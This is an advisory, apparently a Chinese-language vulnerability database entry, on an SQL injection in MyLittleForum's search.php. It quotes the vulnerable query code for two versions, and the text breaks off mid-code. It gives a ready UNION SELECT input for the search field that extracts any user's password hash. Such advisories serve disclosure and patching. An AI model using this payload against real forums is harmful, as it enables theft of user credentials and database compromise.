|漏洞详情
mylittleforum是一套基于PHP和MySQL的互联网论坛应用程序。该应用程序采用传统树状视图展示信息,并支持图片上传、模板引擎、BB代码和表情符号等。MyLittleForum中存在SQL注入漏洞,成功利用这个漏洞的攻击者可以完全入侵基础数据库系统。在search.php的第144行:...$result=mysql_query("SELECTid,pid,tid,DATE_FORMAT(time+INTERVAL".$time_difference."HOUR,'".$lang['time_format']."')ASUhrzeit,DATE_FORMAT(time+INTERVAL".$time_difference."HOUR,'".$lang['time_format']."')ASDatum,subject,name,email,hp,place,text,categoryFROM".$forum_table."WHERE".$search_string."ORDERBYtidDESC,timeASCLIMIT".$ul.",".$settings['search_results_per_page'],$connid);...然后在搜索页面,选择"phrase",然后键入:[whatever]%'UNIONSELECTuser_pw,user_pw,user_pw,user_pw,user_pw,user_pw,user_pw,user_pw,user_pw,user_pw,user_pw,user_pwFROMforum_userdatawhereuser_name='[username]'/*由于没有过滤$searchstring变量,如果关闭了magicquote的话,就可以得到任何管理员/用户口令哈希。1.6beta版也受漏洞影响:...$result=mysql_query("SELECTid,pid,tid,UNIX_TIMESTAMP(time+INTERVAL\".$time_difference."HOUR)ASUhrzeit,subject,name,email,hp,place,text,\categoryFROM".$db_settings['forum_table']."WHERE".$search_string."OR
